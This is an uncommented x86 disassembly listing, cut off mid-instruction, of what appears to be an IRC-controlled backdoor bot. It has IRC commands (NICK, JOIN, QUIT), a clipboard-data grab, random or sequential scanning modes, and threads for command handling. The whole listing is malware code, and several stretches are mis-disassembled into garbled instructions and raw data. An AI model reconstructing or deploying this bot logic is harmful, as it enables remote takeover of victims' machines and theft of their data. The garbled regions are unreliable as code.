mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40F98B loc_40F975: ; CODE XREF: seg000:0040F989j cmp [ebp-568h], ebx jnz loc_4109E0 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40F975 ; --------------------------------------------------------------------------- loc_40F98B: ; CODE XREF: seg000:0040F973j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_429474 jmp loc_4109D1 ; --------------------------------------------------------------------------- loc_40F99C: ; CODE XREF: seg000:0040CE22j ; seg000:0040CE39j push ebx push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push edi call sub_404858 push edi push offset dword_42944C jmp loc_40F433 ; --------------------------------------------------------------------------- loc_40F9B7: ; CODE XREF: seg000:0040CDF4j ; seg000:0040CE0Bj push 14h lea eax, [ebp-710h] push ebx push eax call sub_413630 push edi lea eax, [ebp-6FCh] push offset aS_1 ; "%s" push eax call sub_4135AD mov eax, [ebp+0Ch] mov [ebp-718h], eax lea eax, [ebp-0C4h] push eax lea eax, [ebp-5F8h] push 80h push eax call sub_413B2A mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-5F8h] push eax lea eax, [ebp-6FCh] push eax lea eax, [ebp-2C8h] push offset dword_429414 push eax loc_40FA25: ; CODE XREF: seg000:0040FA9Ej call sub_4135AD push ebx lea eax, [ebp-2C8h] push 12h push eax call sub_413059 add esp, 40h mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-718h] push ebx push eax push offset sub_409BA0 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40FA87 loc_40FA71: ; CODE XREF: seg000:0040FA85j cmp [ebp-568h], ebx jnz loc_410D58 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40FA71 ; --------------------------------------------------------------------------- loc_40FA87: ; CODE XREF: seg000:0040FA6Fj call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset dword_42B6D8 jmp loc_410D49 ; --------------------------------------------------------------------------- loc_40FA98: ; CODE XREF: seg000:0040CDC6j ; seg000:0040CDDDj push edi call near ptr 0A70000h jnb short loc_40FA25 sal byte ptr [eax+ecx+57h], 68h in al, 93h inc edx add bl, ch or ebp, [eax+2Ch] wait inc edx add al, ch sti test edi, edi call dword ptr [eax-73h] test [eax], edi std ; --------------------------------------------------------------------------- dw 0FFFFh ; --------------------------------------------------------------------------- push 200h push eax call sub_413B2A add esp, 10h jmp loc_40D48C ; --------------------------------------------------------------------------- loc_40FACF: ; CODE XREF: seg000:0040CD98j ; seg000:0040CDAFj push edi call sub_413B1F push eax call near ptr sub_4123C5 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_40FAEC push offset dword_4293AC jmp short loc_40FAF1 ; --------------------------------------------------------------------------- loc_40FAEC: ; CODE XREF: seg000:0040FAE3j push offset dword_429364 loc_40FAF1: ; CODE XREF: seg000:0040FAEAj lea eax, [ebp-2C8h] push eax call sub_4135AD add esp, 0Ch cmp [ebp-8], ebx jnz loc_40D4B0 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h jmp loc_40D4B0 ; --------------------------------------------------------------------------- loc_40FB2A: ; CODE XREF: seg000:0040CD6Aj ; seg000:0040CD81j push ebx push ebx push edi push dword ptr [ebp-4] push ebx push dword ptr [ebp+0Ch] call sub_412136 add esp, 18h cmp eax, 1 push edi jnz short loc_40FB4C push offset dword_42932C jmp loc_410D73 ; --------------------------------------------------------------------------- loc_40FB4C: ; CODE XREF: seg000:0040FB40j push offset dword_4292E8 jmp loc_410D73 ; --------------------------------------------------------------------------- loc_40FB56: ; CODE XREF: seg000:0040CD3Cj ; seg000:0040CD53j push edi call ds:dword_42F748 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz short loc_40FB93 push 2 lea eax, [ebp+8] push 4 push eax call ds:dword_42F6C0 cmp eax, ebx jz short loc_40FBAE push dword ptr [eax] loc_40FB79: ; CODE XREF: seg000:0040FBACj push edi lea eax, [ebp-2C8h] push offset dword_4292B8 push eax call sub_4135AD add esp, 10h jmp loc_40DC19 ; --------------------------------------------------------------------------- loc_40FB93: ; CODE XREF: seg000:0040FB63j push edi call ds:dword_42F78C cmp eax, ebx jz short loc_40FBAE mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call ds:dword_42F794 push eax jmp short loc_40FB79 ; --------------------------------------------------------------------------- loc_40FBAE: ; CODE XREF: seg000:0040FB75j ; seg000:0040FB9Cj push offset dword_42927C jmp near ptr loc_40F046+3 ; --------------------------------------------------------------------------- loc_40FBB8: ; CODE XREF: seg000:0040CD0Ej ; seg000:0040CD25j push 7Fh push edi push dword ptr [ebp+1Ch] call sub_414DD0 push edi lea eax, [ebp-2C8h] push offset dword_429244 push eax call sub_4135AD add esp, 18h jmp loc_40D1C9 ; --------------------------------------------------------------------------- loc_40FBDD: ; CODE XREF: seg000:0040CCE0j ; seg000:0040CCF7j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call ds:dword_42F67C test eax, eax push edi jz short loc_40FBFD push offset unk_429214 jmp loc_410D73 ; --------------------------------------------------------------------------- loc_40FBFD: ; CODE XREF: seg000:0040FBF1j push offset unk_4291DC jmp loc_410D73 ; --------------------------------------------------------------------------- loc_40FC07: ; CODE XREF: seg000:0040CCB2j ; seg000:0040CCC9j mov al, [edi] mov ds:byte_42823C, al movsx eax, byte ptr [edi] push eax push offset dword_4291A4 jmp loc_40D1BA ; --------------------------------------------------------------------------- loc_40FC1C: ; CODE XREF: seg000:0040CC84j ; seg000:0040CC9Bj push edi call sub_413B1F test eax, eax pop ecx jle loc_410E98 push edi call sub_413B1F cmp eax, 12Ch pop ecx jge loc_410E98 push ebx push ebx lea eax, [ebp-0A4h] push 2 push eax call sub_412797 push eax lea eax, [ebp-2C8h] push offset dword_429868 push eax call sub_4135AD add esp, 1Ch jmp loc_40F37D ; --------------------------------------------------------------------------- loc_40FC67: ; CODE XREF: seg000:0040CC56j ; seg000:0040CC6Dj push edi call sub_413B1F test eax, eax pop ecx jle loc_40B71F push edi call sub_413B1F cmp eax, 12Ch pop ecx jge loc_40B71F push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_413B1F imul eax, 234h pop ecx push ds:dword_4348A4[eax] call sub_41106A pop ecx pop ecx push 1F4h call ds:dword_41F058 ; Sleep push edi call sub_413B1F imul eax, 234h pop ecx push ds:dword_4348A4[eax] call ds:dword_42F7A0 push dword ptr [ebp-10h] push edi call sub_413B1F imul eax, 234h pop ecx push ds:dword_4348AC[eax] call near ptr 0A70000h test eax, 3E32E857h ; --------------------------------------------------------------------------- db 0 dd 34C06900h, 57000002h, 48AC9889h, 20E80043h, 6900003Eh dd 234C0h, 88595900h, 43469898h, 0BA0DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_40FD12: ; CODE XREF: seg000:0040CC28j ; seg000:0040CC3Fj push edi push offset aAll ; "all" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40FD41 call sub_413222 cmp eax, ebx jle short loc_40FD37 push eax push offset dword_429154 jmp loc_40DCA8 ; --------------------------------------------------------------------------- loc_40FD37: ; CODE XREF: seg000:0040FD2Aj push offset dword_429118 jmp loc_410536 ; --------------------------------------------------------------------------- loc_40FD41: ; CODE XREF: seg000:0040FD21j mov eax, [ebp-0ACh] lea edi, [eax+1] cmp edi, 20h jnb loc_40B71F lea eax, [ebp+edi*4-94h] mov [ebp+2Ch], eax loc_40FD5D: ; CODE XREF: seg000:0040FDCEj mov eax, [ebp+2Ch] mov esi, [eax] cmp esi, ebx jz loc_40B71F push esi call sub_413B1F push eax call sub_413194 pop ecx pop ecx test eax, eax push esi jz short loc_40FD84 push offset dword_4290E0 jmp short loc_40FD89 ; --------------------------------------------------------------------------- loc_40FD84: ; CODE XREF: seg000:0040FD7Bj push offset dword_4290A0 loc_40FD89: ; CODE XREF: seg000:0040FD82j lea eax, [ebp-2C8h] push eax call sub_4135AD add esp, 0Ch cmp [ebp-8], ebx jnz short loc_40FDB9 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h loc_40FDB9: ; CODE XREF: seg000:0040FD9Bj lea eax, [ebp-2C8h] push eax call sub_409615 add dword ptr [ebp+2Ch], 4 inc edi cmp edi, 20h pop ecx jb short loc_40FD5D jmp loc_40B71F ; --------------------------------------------------------------------------- loc_40FDD5: ; CODE XREF: seg000:0040CBFAj ; seg000:0040CC11j cmp [ebp-0Ch], ebx jz loc_410E98 push edi push dword ptr [ebp-0Ch] call sub_413B80 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_410E98 push esi push offset dword_42987C push dword ptr [ebp+0Ch] call sub_41106A push esi push offset dword_429074 jmp loc_40F55F ; --------------------------------------------------------------------------- loc_40FE0C: ; CODE XREF: seg000:0040CBCCj ; seg000:0040CBE3j push edi push offset dword_429788 push dword ptr [ebp+0Ch] call sub_41106A push edi push offset dword_429040 jmp loc_40F55F ; --------------------------------------------------------------------------- loc_40FE25: ; CODE XREF: seg000:0040CB9Ej ; seg000:0040CBB5j push dword ptr [ebp+esi-8Ch] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A push edi push offset dword_42900C jmp loc_40F433 ; --------------------------------------------------------------------------- loc_40FE45: ; CODE XREF: seg000:0040CB70j ; seg000:0040CB87j push edi push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_41106A push edi push offset dword_428FD4 jmp loc_40F55F ; --------------------------------------------------------------------------- loc_40FE5E: ; CODE XREF: seg000:0040CB35j ; seg000:0040CB4Aj mov al, ds:byte_42373A mov [ebp+8], ebx cmp al, bl mov edx, offset byte_42373A jz loc_40B71F mov ecx, edx loc_40FE75: ; CODE XREF: seg000:0040FE7Dj inc dword ptr [ebp+8] add ecx, 0Bh cmp [ecx], bl jnz short loc_40FE75 cmp al, bl jz loc_40B71F mov [ebp+20h], edx loc_40FE8A: ; CODE XREF: seg000:00410148j push 8 call sub_4132A1 pop ecx mov ecx, eax mov eax, 190h cdq idiv dword ptr [ebp+8] add eax, ecx cmp eax, 12Ch jle short loc_40FED9 push ecx lea eax, [ebp-2C8h] push offset dword_42A130 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 20h jmp loc_41013F ; --------------------------------------------------------------------------- loc_40FED9: ; CODE XREF: seg000:0040FEA4j or dword ptr [ebp-300h], 0FFFFFFFFh cmp ds:dword_4236A0, ebx mov dword ptr [ebp-304h], 1Eh mov dword ptr [ebp-318h], 7 mov dword ptr [ebp-314h], 0B4h mov [ebp+8], ebx jz short loc_40FF4A mov eax, [ebp+20h] mov edi, offset dword_4236A0 lea esi, [eax-0Ah] loc_40FF14: ; CODE XREF: seg000:0040FF2Cj lea eax, [edi-28h] push esi push eax call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40FF30 inc dword ptr [ebp+8] add edi, 3Ch cmp [edi], ebx jnz short loc_40FF14 jmp short loc_40FF4A ; --------------------------------------------------------------------------- loc_40FF30: ; CODE XREF: seg000:0040FF22j mov eax, [ebp+8] mov ecx, eax mov [ebp-300h], eax imul ecx, 3Ch mov ecx, ds:dword_4236A0[ecx] mov [ebp-31Ch], ecx loc_40FF4A: ; CODE XREF: seg000:0040FF07j ; seg000:0040FF2Ej cmp [ebp-31Ch], ebx jz loc_410153 push 10h lea eax, [ebp+18h] pop esi push eax lea eax, [ebp-2D8h] push eax mov [ebp+18h], esi push dword ptr [ebp+0Ch] call ds:dword_42F6AC mov al, [ebp-9B3h] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-2D4h], eax push dword ptr [ebp-2D4h] call ds:dword_42F794 push eax lea eax, [ebp-430h] push eax call sub_414DD0 xor eax, eax cmp [ebp-9B3h], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-430h] push eax call sub_4150D0 add esp, 14h cmp edi, ebx mov [ebp+2Fh], bl jle short loc_40FFEC loc_40FFCA: ; CODE XREF: seg000:0040FFEAj cmp eax, ebx jz short loc_40FFEC mov byte ptr [eax], 78h lea eax, [ebp-430h] push 30h push eax call sub_4150D0 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_40FFCA loc_40FFEC: ; CODE XREF: seg000:0040FFC8j ; seg000:0040FFCCj mov eax, [ebp+0Ch] push dword ptr [ebp-8Ch] mov esi, [ebp-4] mov [ebp-320h], eax mov eax, [ebp-8] push 80h mov [ebp-2F4h], eax lea eax, [ebp-420h] push eax mov dword ptr [ebp-2F0h], 1 mov [ebp-2F8h], esi call sub_413B2A mov edi, offset dword_4282D8 push offset byte_42E348 push edi call sub_4139D0 add esp, 14h test eax, eax jz short loc_410056 push edi lea eax, [ebp-3A0h] push 80h push eax call sub_413B2A add esp, 0Ch jmp short loc_41005C ; --------------------------------------------------------------------------- loc_410056: ; CODE XREF: seg000:0041003Dj mov [ebp-3A0h], bl loc_41005C: ; CODE XREF: seg000:00410054j cmp [ebp-2F0h], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_41006E mov eax, offset aSequential ; "Sequential" loc_41006E: ; CODE XREF: seg000:00410067j push dword ptr [ebp-304h] lea ecx, [ebp-430h] push dword ptr [ebp-314h] push dword ptr [ebp-318h] push dword ptr [ebp-31Ch] push ecx push eax lea eax, [ebp-2C8h] push offset dword_428F58 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 8 push eax call sub_413059 add esp, 2Ch mov [ebp-310h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-430h] push ebx push eax push offset sub_405E47 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-310h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_4100F8 loc_4100E6: ; CODE XREF: seg000:004100F6j cmp [ebp-2ECh], ebx jnz short loc_410113 push 32h call ds:dword_41F058 ; Sleep jmp short loc_4100E6 ; --------------------------------------------------------------------------- loc_4100F8: ; CODE XREF: seg000:004100E4j call ds:dword_41F068 ; RtlGetLastWin32Error push eax lea eax, [ebp-2C8h] push offset dword_42A00C push eax call sub_4135AD add esp, 0Ch loc_410113: ; CODE XREF: seg000:004100ECj cmp [ebp-8], ebx jnz short loc_410132 push ebx lea eax, [ebp-2C8h] push esi push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h loc_410132: ; CODE XREF: seg000:00410116j lea eax, [ebp-2C8h] push eax call sub_409615 pop ecx loc_41013F: ; CODE XREF: seg000:0040FED4j add dword ptr [ebp+20h], 0Bh mov eax, [ebp+20h] cmp [eax], bl jnz loc_40FE8A jmp loc_40B71F ; --------------------------------------------------------------------------- loc_410153: ; CODE XREF: seg000:0040E337j ; seg000:0040FF50j push offset dword_428F0C jmp loc_410536 ; --------------------------------------------------------------------------- loc_41015D: ; CODE XREF: seg000:0040CB0Bj ; seg000:0040CB20j push 4 call sub_4132A1 test eax, eax pop ecx jle short loc_410173 push offset unk_428ED8 jmp loc_40D0AD ; --------------------------------------------------------------------------- loc_410173: ; CODE XREF: seg000:00410167j mov eax, [ebp+esi-90h] cmp eax, ebx jz short loc_410196 push eax mov edi, 104h lea eax, [ebp-804h] push edi push eax call sub_413B2A add esp, 0Ch jmp short loc_4101AA ; --------------------------------------------------------------------------- loc_410196: ; CODE XREF: seg000:0041017Cj mov edi, 104h lea eax, [ebp-804h] push edi push eax push ebx call near ptr 0A70000h out dx, eax loc_4101AA: ; CODE XREF: seg000:00410194j mov esi, [ebp+esi-8Ch] cmp esi, ebx jnz short loc_4101BA mov esi, offset byte_428290 loc_4101BA: ; CODE XREF: seg000:004101B3j push esi lea eax, [ebp-700h] push edi push eax call sub_413B2A mov eax, ds:dword_428228 push 7Fh push dword ptr [ebp-8Ch] mov [ebp-5F4h], eax mov eax, [ebp+0Ch] mov [ebp-5F8h], ebx mov [ebp-808h], eax lea eax, [ebp-5F0h] push eax call sub_414DD0 mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-700h] push eax lea eax, [ebp-804h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp-5F4h] push offset unk_42398C push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 4 push eax call sub_413059 add esp, 38h mov [ebp-5FCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-808h] push ebx push eax push offset loc_4050E6 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-5FCh] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_41028A loc_410274: ; CODE XREF: seg000:00410288j cmp [ebp-568h], ebx jnz loc_40D1C9 push 32h call ds:dword_41F058 ; Sleep jmp short loc_410274 ; --------------------------------------------------------------------------- loc_41028A: ; CODE XREF: seg000:00410272j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_428E8C jmp loc_40D1BA ; --------------------------------------------------------------------------- loc_41029B: ; CODE XREF: seg000:0040CAE1j ; seg000:0040CAF6j mov edi, [ebp+esi-90h] cmp edi, ebx jz short loc_4102BA push edi call sub_413B1F test eax, eax pop ecx jz short loc_4102BA push edi call sub_413B1F pop ecx jmp short loc_4102BF ; --------------------------------------------------------------------------- loc_4102BA: ; CODE XREF: seg000:004102A4j ; seg000:004102AFj mov eax, ds:dword_42822C loc_4102BF: ; CODE XREF: seg000:004102B8j mov esi, [ebp+esi-8Ch] mov [ebp-584h], eax xor eax, eax cmp [ebp-9B0h], bl setz al cmp esi, ebx mov [ebp-570h], eax jz short loc_4102F2 lea eax, [ebp-688h] push esi push eax call sub_4135AD pop ecx pop ecx jmp short loc_41031D ; --------------------------------------------------------------------------- loc_4102F2: ; CODE XREF: seg000:004102DFj lea eax, [ebp-3E8h] push 104h push eax call near ptr 0A70000h mov ah, 53h push ebx lea eax, [ebp-2D4h] push ebx push eax lea eax, [ebp-3E8h] push eax call sub_4153D8 add esp, 14h loc_41031D: ; CODE XREF: seg000:004102F0j lea eax, [ebp-688h] push eax call sub_413DB0 cmp byte ptr [ebp+eax-689h], 5Ch pop ecx jnz short loc_410348 lea eax, [ebp-688h] push eax call sub_413DB0 pop ecx mov [ebp+eax-689h], bl loc_410348: ; CODE XREF: seg000:00410332j push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] lea eax, [ebp-910h] mov [ebp-914h], esi push 80h push eax call sub_413B2A mov eax, [ebp-8] mov edi, [ebp-4] add esp, 0Ch mov [ebp-574h], eax lea eax, [ebp-688h] mov [ebp-578h], edi push eax push dword ptr [ebp-584h] push esi call sub_408619 pop ecx push eax lea eax, [ebp-2C8h] push offset dword_42385C push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 3 push eax call sub_413059 add esp, 20h mov [ebp-57Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-914h] push ebx push eax push offset sub_403FCB push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-57Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_4103FC loc_4103EA: ; CODE XREF: seg000:004103FAj cmp [ebp-568h], ebx jnz short loc_410417 push 32h call ds:dword_41F058 ; Sleep jmp short loc_4103EA ; --------------------------------------------------------------------------- loc_4103FC: ; CODE XREF: seg000:004103E8j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_428E40 loc_410408: ; CODE XREF: seg000:0040E851j ; seg000:0040E94Bj lea eax, [ebp-2C8h] push eax call sub_4135AD add esp, 0Ch loc_410417: ; CODE XREF: seg000:0040E835j ; seg000:0040E92Fj ... cmp [ebp-8], ebx jnz loc_410D58 push ebx push edi loc_410422: ; CODE XREF: seg000:0040E0FBj lea eax, [ebp-2C8h] push eax push dword ptr [ebp-8Ch] push esi jmp loc_40DCD4 ; --------------------------------------------------------------------------- loc_410435: ; CODE XREF: seg000:0040CAB7j ; seg000:0040CACCj mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_410448 push esi call sub_413B1F jmp short loc_41044F ; --------------------------------------------------------------------------- loc_410448: ; CODE XREF: seg000:0041043Ej push 8 call sub_4132C0 loc_41044F: ; CODE XREF: seg000:00410446j cmp eax, ebx pop ecx jz loc_410E98 push eax push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4056A7 loc_41046A: ; CODE XREF: seg000:004108F6j add esp, 10h jmp loc_410E98 ; --------------------------------------------------------------------------- loc_410472: ; CODE XREF: seg000:0040CA8Dj ; seg000:0040CAA2j mov eax, ds:dword_42F630 cmp eax, ebx jz short loc_41048F call eax ; dword_42F630 test eax, eax jz short loc_410488 push offset unk_428E08 jmp short loc_4104A4 ; --------------------------------------------------------------------------- loc_410488: ; CODE XREF: seg000:0041047Fj push offset unk_428DC8 jmp short loc_4104A4 ; --------------------------------------------------------------------------- loc_41048F: ; CODE XREF: seg000:00410479j push offset unk_428D88 jmp short loc_4104A4 ; --------------------------------------------------------------------------- loc_410496: ; CODE XREF: seg000:0040CA63j ; seg000:0040CA78j call sub_40853B test eax, eax jz short loc_4104BA push offset unk_428D50 loc_4104A4: ; CODE XREF: seg000:00410486j ; seg000:0041048Dj ... lea eax, [ebp-2C8h] push 200h push eax call sub_413B2A jmp loc_410D7F ; --------------------------------------------------------------------------- loc_4104BA: ; CODE XREF: seg000:0041049Dj push offset unk_428D10 jmp short loc_4104A4 ; --------------------------------------------------------------------------- loc_4104C1: ; CODE XREF: seg000:0040CA39j ; seg000:0040CA4Ej cmp [ebp-8], ebx jnz short loc_4104E0 push ebx push dword ptr [ebp-4] push offset aClipboardData ; "-[Clipboard Data]-" push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h loc_4104E0: ; CODE XREF: seg000:004104C4j push ebx push dword ptr [ebp-4] call sub_40813A push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 push offset dword_428CCC jmp loc_4107C8 ; --------------------------------------------------------------------------- loc_410502: ; CODE XREF: seg000:0040C959j ; seg000:0040C96Ej push 7 call sub_4132A1 test eax, eax pop ecx jle short loc_410515 push offset dword_428C90 jmp short loc_410536 ; --------------------------------------------------------------------------- loc_410515: ; CODE XREF: seg000:0041050Cj push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call loc_408CA5 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_410531 push offset dword_428C54 jmp short loc_410536 ; --------------------------------------------------------------------------- loc_410531: ; CODE XREF: seg000:00410528j push offset dword_428C20 loc_410536: ; CODE XREF: seg000:0040DE98j ; seg000:0040DFC8j ... lea eax, [ebp-2C8h] push eax call sub_4135AD pop ecx pop ecx jmp loc_40DCB7 ; --------------------------------------------------------------------------- loc_410549: ; CODE XREF: seg000:0040C92Fj ; seg000:0040C944j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_407B27 jmp loc_40B71C ; --------------------------------------------------------------------------- loc_410562: ; CODE XREF: seg000:0040C905j ; seg000:0040C91Aj push dword ptr [ebp+esi-90h] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40A9A3 jmp loc_40B71C ; --------------------------------------------------------------------------- loc_41057F: ; CODE XREF: seg000:0040C8DBj ; seg000:0040C8F0j or edi, 0FFFFFFFFh call ds:dword_41F044 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi-90h] cmp esi, ebx mov [ebp+8], eax jz short loc_4105A8 push esi call sub_413B1F pop ecx mov edi, eax loc_4105A8: ; CODE XREF: seg000:0041059Dj mov eax, [ebp+8] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4105C1 cmp edi, 0FFFFFFFFh jnz loc_410E98 loc_4105C1: ; CODE XREF: seg000:004105B6j push ebx call sub_408E5A push eax lea eax, [ebp-2C8h] push offset dword_428BF4 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 lea eax, [ebp-2C8h] push eax call sub_409615 jmp loc_40E686 ; --------------------------------------------------------------------------- loc_410603: ; CODE XREF: seg000:0040C8B1j ; seg000:0040C8C6j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_406A7B lea eax, [ebp-2C8h] push offset unk_428BC0 push eax call sub_4135AD add esp, 14h jmp loc_40D1C9 ; --------------------------------------------------------------------------- loc_41062D: ; CODE XREF: seg000:0040C887j ; seg000:0040C89Cj push 1Eh call sub_4132A1 test eax, eax pop ecx jle short loc_410656 cmp [ebp-8], ebx jnz loc_40B71F push ebx push dword ptr [ebp-4] push offset dword_428B8C push dword ptr [ebp-8Ch] jmp loc_40BC7D ; --------------------------------------------------------------------------- loc_410656: ; CODE XREF: seg000:00410637j push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_413B2A mov eax, [ebp+0Ch] mov esi, [ebp+esi-90h] mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-450h], eax mov [ebp-458h], ebx jz short loc_4106B7 push esi push offset aFull ; "full" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_4106B7 mov dword ptr [ebp-458h], 1 loc_4106B7: ; CODE XREF: seg000:0041069Aj ; seg000:004106ABj lea eax, [ebp-2C8h] push offset dword_428B50 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 1Eh push eax call sub_413059 add esp, 14h mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset sub_4122E7 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_410725 loc_41070F: ; CODE XREF: seg000:00410723j cmp [ebp-44Ch], ebx jnz loc_410D58 push 32h call ds:dword_41F058 ; Sleep jmp short loc_41070F ; --------------------------------------------------------------------------- loc_410725: ; CODE XREF: seg000:0041070Dj call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset dword_428B00 jmp loc_410D49 ; --------------------------------------------------------------------------- loc_410736: ; CODE XREF: seg000:0040C85Dj ; seg000:0040C872j cmp [ebp-8], ebx jnz short loc_410755 push ebx push dword ptr [ebp-4] push offset dword_428AD4 push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h loc_410755: ; CODE XREF: seg000:00410739j push dword ptr [ebp+0Ch] call ds:dword_42F7A0 call ds:dword_42F668 call sub_4082BD push ebx call ds:dword_41F104 ; ExitProcess loc_410770: ; CODE XREF: seg000:0040C833j ; seg000:0040C848j push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push eax call sub_408F79 pop ecx pop ecx push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 push offset dword_428AA8 jmp short loc_4107C8 ; --------------------------------------------------------------------------- loc_41079B: ; CODE XREF: seg000:0040C809j ; seg000:0040C81Ej push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_40922D add esp, 0Ch push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 push offset dword_428A7C loc_4107C8: ; CODE XREF: seg000:004104FDj ; seg000:00410799j call sub_409615 jmp loc_40F438 ; --------------------------------------------------------------------------- loc_4107D2: ; CODE XREF: seg000:0040C7DFj ; seg000:0040C7F4j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4096B5 jmp loc_40B71C ; --------------------------------------------------------------------------- loc_4107EB: ; CODE XREF: seg000:0040C7B5j ; seg000:0040C7CAj cmp [ebp-0Ch], ebx mov [ebp-374h], bl jz short loc_41082A mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_41082A push esi push dword ptr [ebp-0Ch] call sub_413B80 pop ecx cmp eax, ebx pop ecx jz short loc_41082A push eax push offset aS_1 ; "%s" lea eax, [ebp-374h] push 80h push eax call sub_413B2A add esp, 10h loc_41082A: ; CODE XREF: seg000:004107F4j ; seg000:004107FFj ... push dword ptr [ebp-8Ch] lea eax, [ebp-3F4h] push 80h push eax call sub_413B2A mov eax, [ebp+0Ch] push offset dword_428A50 mov [ebp-3F8h], eax mov eax, [ebp-4] mov [ebp-2F0h], eax mov eax, [ebp-8] mov [ebp-2ECh], eax lea eax, [ebp-2C8h] push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 1Ch push eax call sub_413059 add esp, 20h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3F8h] push ebx push eax push offset sub_4096F5 push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_4108CA loc_4108B4: ; CODE XREF: seg000:004108C8j cmp 